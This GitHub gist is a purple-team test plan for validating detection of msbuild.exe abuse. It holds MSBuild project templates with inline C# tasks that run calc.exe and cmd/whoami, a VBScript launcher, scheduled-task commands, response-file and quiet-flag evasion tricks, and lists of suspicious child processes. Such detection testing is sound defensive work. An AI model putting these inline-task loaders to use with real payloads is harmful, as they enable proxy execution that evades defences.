Skip to content

Instantly share code, notes, and snippets.

@derekxmartin
Created February 17, 2026 14:06
Show Gist options
  • Select an option

  • Save derekxmartin/e4cad69955ea5cb68c317cf2b0a4d6e4 to your computer and use it in GitHub Desktop.

Select an option

Save derekxmartin/e4cad69955ea5cb68c317cf2b0a4d6e4 to your computer and use it in GitHub Desktop.
msbuild Test
# MSBuild.exe Detection Signal — Purple Team Testing Plan
**Classification:** Internal — PCSIRT / Red Team Use Only
**Author:** Red Team Operations
**Date:** February 2026
**Version:** 1.0
-----
## 1. Objective
Validate the PCSIRT detection signal for `msbuild.exe` abuse across three threat categories:
1. **Manual MSBuild execution** from interactive command prompts
1. **Atypical project file extensions** (`.csproj`, `.xml`, `.rsp`, `.proj`)
1. **Nonstandard command-line usage** deviating from normal developer build workflows
Each test case includes the expected telemetry the detection should capture, enabling your PCSIRT team to confirm signal fidelity and coverage gaps.
-----
## 2. Scope & Prerequisites
### In-Scope Systems
- Windows 10/11 endpoints with .NET Framework 4.x+ or .NET SDK installed
- Endpoints with EDR/SIEM telemetry forwarding enabled
### Prerequisites
- MSBuild available at standard paths:
- `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe`
- `C:\Program Files\Microsoft Visual Studio\2022\<Edition>\MSBuild\Current\Bin\MSBuild.exe`
- Test user account (non-admin preferred for baseline; admin for escalation tests)
- Purple team coordination channel open with SOC/PCSIRT
- **Change ticket approved** and test window scheduled
- Sysmon (or equivalent) configured with ProcessCreate (Event ID 1), FileCreate (Event ID 11), and command-line logging
### Safety Controls
- All test payloads are **benign** (calc.exe, whoami, or write to a local temp file)
- No persistence mechanisms are installed
- All test artifacts are cleaned up post-execution
- Tests should be conducted on isolated/lab endpoints first
-----
## 3. Test Matrix Overview
|Test ID|Category |Description |MITRE ATT&CK|
|-------|---------------|----------------------------------------------------|------------|
|MSB-01 |Manual Exec |MSBuild from cmd.exe |T1127.001 |
|MSB-02 |Manual Exec |MSBuild from powershell.exe |T1127.001 |
|MSB-03 |Manual Exec |MSBuild from non-standard parent (explorer, wscript)|T1127.001 |
|MSB-04 |Atypical Files |Inline task in `.csproj` file |T1127.001 |
|MSB-05 |Atypical Files |Inline task in `.xml` file |T1127.001 |
|MSB-06 |Atypical Files |Response file (`.rsp`) execution |T1127.001 |
|MSB-07 |Atypical Files |Custom `.proj` file with UsingTask |T1127.001 |
|MSB-08 |Nonstandard CLI|Execution from temp/user directories |T1127.001 |
|MSB-09 |Nonstandard CLI|Unusual flags and verbosity suppression |T1127.001 |
|MSB-10 |Nonstandard CLI|MSBuild with no Visual Studio/SDK context |T1127.001 |
|MSB-11 |Nonstandard CLI|MSBuild spawning suspicious child processes |T1127.001 |
|MSB-12 |Negative Test |Legitimate developer build (should NOT alert) |N/A |
-----
## 4. Benign Payload Templates
All test cases reference these project file templates. Save each to the test endpoint before starting.
### 4A. Inline C# Task — calc.exe (benign_calc.csproj)
```xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="TestTarget">
<TestTask />
</Target>
<UsingTask
TaskName="TestTask"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Fragment" Language="cs">
<![CDATA[
System.Diagnostics.Process.Start("calc.exe");
]]>
</Code>
</Task>
</UsingTask>
</Project>
```
### 4B. Inline C# Task — whoami to file (benign_whoami.xml)
```xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="TestTarget">
<TestTask />
</Target>
<UsingTask
TaskName="TestTask"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Using Namespace="System.IO" />
<Code Type="Fragment" Language="cs">
<![CDATA[
string user = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
File.WriteAllText(@"C:\Temp\msbuild_test_output.txt", "Test executed by: " + user);
]]>
</Code>
</Task>
</UsingTask>
</Project>
```
### 4C. Response File (test.rsp)
```
/nologo
/verbosity:quiet
benign_calc.csproj
```
### 4D. Benign Legitimate Build Project (legit_build.csproj)
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
</PropertyGroup>
</Project>
```
With accompanying `Program.cs`:
```csharp
Console.WriteLine("Hello from legitimate build");
```
-----
## 5. Detailed Test Procedures
-----
### MSB-01: Manual MSBuild from cmd.exe
**Objective:** Detect MSBuild launched interactively from `cmd.exe` executing an inline task.
**Steps:**
1. Open `cmd.exe` as the test user
1. Execute:
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\benign_calc.csproj
```
1. Confirm `calc.exe` launches
1. Record timestamp
**Expected Telemetry:**
- Process Create: `MSBuild.exe` with parent `cmd.exe`
- Command line contains a `.csproj` path outside a typical source/build directory
- Child process: `calc.exe` spawned by `MSBuild.exe`
**Detection Signal Should Fire:** YES
-----
### MSB-02: Manual MSBuild from PowerShell
**Objective:** Detect MSBuild launched from `powershell.exe` or `pwsh.exe`.
**Steps:**
1. Open PowerShell as the test user
1. Execute:
```powershell
& "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" C:\Temp\benign_calc.csproj
```
1. Repeat with `pwsh.exe` if installed
1. Record timestamps
**Expected Telemetry:**
- Process Create: `MSBuild.exe` with parent `powershell.exe` or `pwsh.exe`
- Command line referencing project file in non-development directory
**Detection Signal Should Fire:** YES
-----
### MSB-03: MSBuild from Non-Standard Parent Process
**Objective:** Detect MSBuild spawned by unusual parent processes (simulates malware dropper behavior).
**Steps:**
1. Create `launch_msbuild.vbs`:
```vbscript
Set objShell = CreateObject("WScript.Shell")
objShell.Run "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\benign_calc.csproj", 0, True
```
1. Double-click the `.vbs` file (parent = `wscript.exe`)
1. Alternatively, create a scheduled task:
```
schtasks /create /tn "MSBuildTest" /tr "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\benign_calc.csproj" /sc once /st 23:59
schtasks /run /tn "MSBuildTest"
schtasks /delete /tn "MSBuildTest" /f
```
1. Record parent process chains
**Expected Telemetry:**
- `MSBuild.exe` with parent `wscript.exe`, `svchost.exe`, or `taskeng.exe`/`taskhostw.exe`
- These parent processes almost never legitimately invoke MSBuild
**Detection Signal Should Fire:** YES (high confidence)
-----
### MSB-04: Atypical File — .csproj with Inline Task (Non-Build Context)
**Objective:** Detect `.csproj` files containing inline C# tasks executed outside of Visual Studio or `dotnet build`.
**Steps:**
1. Copy `benign_calc.csproj` to `C:\Temp\`
1. Execute from cmd:
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\benign_calc.csproj
```
1. Record command line and file hash
**Expected Telemetry:**
- MSBuild executing `.csproj` from `C:\Temp\` (not a VS solution directory)
- Project file contains `<UsingTask>` with `CodeTaskFactory`
- No corresponding `.sln` file in directory
**Detection Signal Should Fire:** YES
**Note to PCSIRT:** The key differentiator from legitimate use is the file location and the absence of a solution context. Consider building detection logic that correlates file path patterns.
-----
### MSB-05: Atypical File — .xml Extension
**Objective:** Detect MSBuild processing XML files that contain project definitions (commonly used by attackers to evade extension-based filtering).
**Steps:**
1. Copy payload template 4B as `C:\Temp\benign_whoami.xml`
1. Execute:
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\benign_whoami.xml
```
1. Verify `C:\Temp\msbuild_test_output.txt` was created
1. Record command line
**Expected Telemetry:**
- MSBuild command line references a `.xml` file (not `.csproj`, `.vbproj`, `.sln`)
- File contains MSBuild project schema
**Detection Signal Should Fire:** YES
-----
### MSB-06: Atypical File — Response File (.rsp)
**Objective:** Detect MSBuild using response files, which can obscure the actual project being built from command-line logging.
**Steps:**
1. Save payload template 4C as `C:\Temp\test.rsp`
1. Ensure `benign_calc.csproj` is at `C:\Temp\`
1. Execute:
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe @C:\Temp\test.rsp
```
1. Confirm calc launches
1. Record command line
**Expected Telemetry:**
- Command line contains `@` prefix indicating response file usage
- The actual project file name may not appear in the process command line
- `/verbosity:quiet` and `/nologo` flags present (suppresses build output)
**Detection Signal Should Fire:** YES
**PCSIRT Note:** This is a critical gap to test. If your signal only inspects the command line for project file names, `.rsp` usage will evade it. Consider alerting on the `@` prefix itself when combined with other indicators.
-----
### MSB-07: Atypical File — .proj Extension with UsingTask
**Objective:** Detect `.proj` files, which are valid MSBuild files but rarely used in standard development workflows.
**Steps:**
1. Copy `benign_calc.csproj` content to `C:\Temp\payload.proj`
1. Execute:
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\payload.proj
```
1. Confirm calc launches
**Expected Telemetry:**
- `.proj` extension in MSBuild command line
- File contains `CodeTaskFactory` / inline code
**Detection Signal Should Fire:** YES
-----
### MSB-08: Nonstandard CLI — Execution from User/Temp Directories
**Objective:** Detect MSBuild processing project files from directories that are not typical build paths.
**Steps:**
1. Copy `benign_calc.csproj` to each of these locations:
- `C:\Users\<testuser>\Downloads\build.csproj`
- `C:\Users\<testuser>\AppData\Local\Temp\build.csproj`
- `C:\Users\Public\build.csproj`
- `C:\ProgramData\build.csproj`
1. Execute MSBuild against each:
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe "C:\Users\<testuser>\Downloads\build.csproj"
```
1. Record each execution’s command line and parent process
**Expected Telemetry:**
- Project file path in user-writable directories (Downloads, Temp, AppData, Public, ProgramData)
- Legitimate builds almost always reference paths under source repos or VS solution directories
**Detection Signal Should Fire:** YES
-----
### MSB-09: Nonstandard CLI — Suspicious Flags & Verbosity Suppression
**Objective:** Detect command-line patterns that suppress output or use unusual flag combinations.
**Steps:**
1. Execute with stealth flags:
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\benign_calc.csproj /nologo /verbosity:quiet /noconsolelogger
```
1. Execute with property overrides (common in staged attacks):
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\benign_calc.csproj /p:Configuration=Release /p:Platform=x64 /nologo /v:q
```
1. Execute with target specification:
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\benign_calc.csproj /t:TestTarget
```
1. Record all command lines
**Expected Telemetry:**
- `/noconsolelogger` — suppresses all console output (very rare in legitimate use)
- `/verbosity:quiet` or `/v:q` combined with non-standard file paths
- Explicit `/t:` targeting unusual target names (not Build, Clean, Rebuild, Publish)
**Detection Signal Should Fire:** YES (especially for `/noconsolelogger` combinations)
-----
### MSB-10: Nonstandard CLI — MSBuild Without Visual Studio / SDK Context
**Objective:** Detect direct invocation of the .NET Framework MSBuild binary without any developer tooling context.
**Steps:**
1. Open a plain `cmd.exe` (not Developer Command Prompt)
1. Invoke MSBuild by full path with no environment variables set:
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\benign_calc.csproj
```
1. Compare: Open a Visual Studio Developer Command Prompt and run a legitimate build
1. Document the environment differences (presence of `VSINSTALLDIR`, `MSBuildSDKsPath`, etc.)
**Expected Telemetry:**
- MSBuild invoked without `VSINSTALLDIR` or related environment variables
- No prior `devenv.exe`, `dotnet.exe`, or `nuget.exe` process in the session
**Detection Signal Should Fire:** YES (lower confidence — use as a signal enrichment, not standalone)
-----
### MSB-11: Nonstandard CLI — MSBuild Spawning Suspicious Child Processes
**Objective:** Detect MSBuild spawning processes that are inconsistent with compilation (cmd, PowerShell, net, whoami, etc.).
**Steps:**
1. Create `child_proc_test.csproj`:
```xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="TestTarget">
<TestTask />
</Target>
<UsingTask
TaskName="TestTask"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Fragment" Language="cs">
<![CDATA[
var psi = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c whoami > C:\\Temp\\msbuild_child_test.txt");
psi.CreateNoWindow = true;
System.Diagnostics.Process.Start(psi);
]]>
</Code>
</Task>
</UsingTask>
</Project>
```
1. Execute:
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\child_proc_test.csproj
```
1. Verify `C:\Temp\msbuild_child_test.txt` contains the username
1. Record the full process tree
**Expected Telemetry:**
- Process tree: `cmd.exe` → `MSBuild.exe` → `cmd.exe` → `whoami.exe`
- Legitimate MSBuild child processes are typically: `csc.exe`, `vbc.exe`, `al.exe`, `ResGen.exe`, `aspnet_compiler.exe`
- Suspicious children: `cmd.exe`, `powershell.exe`, `whoami.exe`, `net.exe`, `certutil.exe`, `rundll32.exe`, `regsvr32.exe`, `bitsadmin.exe`
**Detection Signal Should Fire:** YES (high confidence)
-----
### MSB-12: Negative Test — Legitimate Developer Build
**Objective:** Confirm the detection signal does NOT fire on standard developer build activity.
**Steps:**
1. Open Visual Studio Developer Command Prompt
1. Navigate to a legitimate .NET project directory
1. Execute standard builds:
```
msbuild MySolution.sln /t:Build /p:Configuration=Debug
dotnet build
msbuild /t:Restore;Build /p:Configuration=Release
```
1. Run `dotnet build` from a standard repo checkout
1. Execute a NuGet restore followed by build (common CI/CD pattern):
```
nuget restore MySolution.sln
msbuild MySolution.sln /t:Build
```
1. Record all telemetry
**Expected Telemetry:**
- Parent process: `devenv.exe`, `dotnet.exe`, or Developer Command Prompt `cmd.exe` with VS environment
- Project files in source directories
- Standard targets: Build, Clean, Rebuild, Restore, Publish
- Child processes: `csc.exe`, `vbc.exe`, etc.
**Detection Signal Should Fire:** NO
-----
## 6. Results Tracking Template
|Test ID|Executed (Y/N)|Timestamp|Alert Fired (Y/N)|Alert ID / Rule Name|Latency (seconds)|Notes|
|-------|--------------|---------|-----------------|--------------------|-----------------|-----|
|MSB-01 | | | | | | |
|MSB-02 | | | | | | |
|MSB-03 | | | | | | |
|MSB-04 | | | | | | |
|MSB-05 | | | | | | |
|MSB-06 | | | | | | |
|MSB-07 | | | | | | |
|MSB-08 | | | | | | |
|MSB-09 | | | | | | |
|MSB-10 | | | | | | |
|MSB-11 | | | | | | |
|MSB-12 | | | | | | |
-----
## 7. Detection Signal Recommendations
Based on these tests, the PCSIRT detection signal should ideally cover the following indicators, ranked by confidence:
**High Confidence (alert):**
- MSBuild spawning suspicious child processes (cmd, PowerShell, whoami, net, certutil, etc.)
- MSBuild parent is `wscript.exe`, `cscript.exe`, `mshta.exe`, `winword.exe`, or `excel.exe`
- MSBuild executing files from Temp, Downloads, AppData, ProgramData, or Public directories
- Command line contains `@` (response file) with project files in non-development paths
**Medium Confidence (alert with enrichment):**
- MSBuild executing `.xml` or `.proj` files
- Command line includes `/noconsolelogger`
- MSBuild invoked from plain `cmd.exe` or `powershell.exe` without VS environment context
- `.csproj` containing `CodeTaskFactory` or `RoslynCodeTaskFactory` in file content
**Low Confidence (enrich / correlate):**
- `/verbosity:quiet` or `/v:q` outside CI/CD context
- MSBuild invoked by a user account that has never previously run MSBuild
- Project file created within the last 60 seconds before MSBuild execution (staging indicator)
-----
## 8. Cleanup Procedures
After all tests are complete:
```
del C:\Temp\benign_calc.csproj
del C:\Temp\benign_whoami.xml
del C:\Temp\test.rsp
del C:\Temp\payload.proj
del C:\Temp\child_proc_test.csproj
del C:\Temp\msbuild_test_output.txt
del C:\Temp\msbuild_child_test.txt
del C:\Users\<testuser>\Downloads\build.csproj
del C:\Users\<testuser>\AppData\Local\Temp\build.csproj
del C:\Users\Public\build.csproj
del C:\ProgramData\build.csproj
del C:\Temp\launch_msbuild.vbs
schtasks /delete /tn "MSBuildTest" /f 2>nul
```
Confirm all test artifacts are removed and no scheduled tasks persist.
-----
## 9. Sign-Off
|Role |Name|Date|Signature|
|--------------|----|----|---------|
|Red Team Lead | | | |
|PCSIRT Lead | | | |
|SOC Manager | | | |
|Change Manager| | | |
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment